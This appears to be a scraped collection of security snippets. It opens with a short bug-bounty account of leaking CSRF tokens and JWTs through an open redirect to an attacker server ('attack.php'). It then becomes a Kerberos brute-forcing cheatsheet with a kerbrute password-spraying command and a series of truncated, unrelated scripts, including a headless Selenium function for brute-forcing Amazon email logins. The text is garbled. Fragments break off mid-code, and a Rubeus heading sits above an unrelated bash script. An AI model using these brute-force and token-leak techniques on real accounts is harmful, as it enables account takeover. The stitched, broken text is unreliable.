Matthew Linney Taius

You do not need to run 80 reconnaissance tools to get access to user accounts

An open redirect was almost everything I needed in two different bug bounty programs to get access to user accounts. In one of the cases a JWT was leaked, and in the other the CSRF token was leaked. The issue was mostly the same in both cases: not validating, or URI encoding, user input in the client-side, and sending sensitive information to my server using an open redirect.

CSRF token bug

There is an open redirect on https://example.com/redirect?url=https://myserver.com/attack.php
User loads https://example.com/?code=VALUE
Javascript code in https://example.com/ makes a GET request to https://example.com/verify/VALUE with a header x-csrf-token set to the CSRF token for the session of the user
```
GET /verify/VALUE HTTP/1.1
Host: example.com
```

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

	#!/bin/bash
	echo "<title>Generated hyper Link URLS</title>" >> $1-urls.html
	cat $1 \| while read urls; do
	echo "<a href=${urls}>${urls}</a></br></br>" >> $1-urls.html
	done

	{
	"mode": "patterns",
	"proxySettings": [
	{
	"address": "127.0.0.1",
	"port": 8080,
	"username": "",
	"password": "",
	"type": 1,
	"title": "127.0.0.1:8080",

	#! /usr/bin/python3
	import webbrowser, sys

	if len(sys.argv) < 3:
	print("Usage: openinbrowser.py ./urls.txt 20")
	quit()

	f = open(sys.argv[1])
	tabs = int(sys.argv[2])
	counter = 1

	#!/usr/bin/python3
	import sys, re

	f = open(sys.argv[1],'r')
	text = f.read()
	ips = []
	regex = re.findall(r'\b(?:\d{1,3}\.){3}\d{1,3}\b',text)
	if regex is not None:
	for match in regex:
	if match not in ips:

	#!/usr/bin/env python3
	# Google Groups v1
	# python3 ggroup.py domains.txt
	import requests
	import re
	import sys

	with open(sys.argv[1]) as f:
	sites = f.read().splitlines()

	import re
	import sys
	import subprocess
	from time import sleep # Can be optimized / replaced
	from selenium import webdriver
	from selenium.webdriver.chrome.options import Options

	def bruteAmazonEmailLogin(userEmail):
	options = Options()
	options.add_argument("--headless")

	#/bin/bash

	git clone https://github.com/danielmiessler/SecLists.git /opt/seclists

	git clone https://github.com/s0md3v/XSStrike.git /opt/xsstrike
	sudo ln -s /opt/xsstrike/xsstrike.py /usr/local/bin/xsstrike
	chmod +x /opt/xsstrike/xsstrike.py

	git clone https://github.com/s0md3v/Arjun.git /opt/arjun
	sudo ln -s /opt/arjun/arjun.py /usr/local/bin/arjun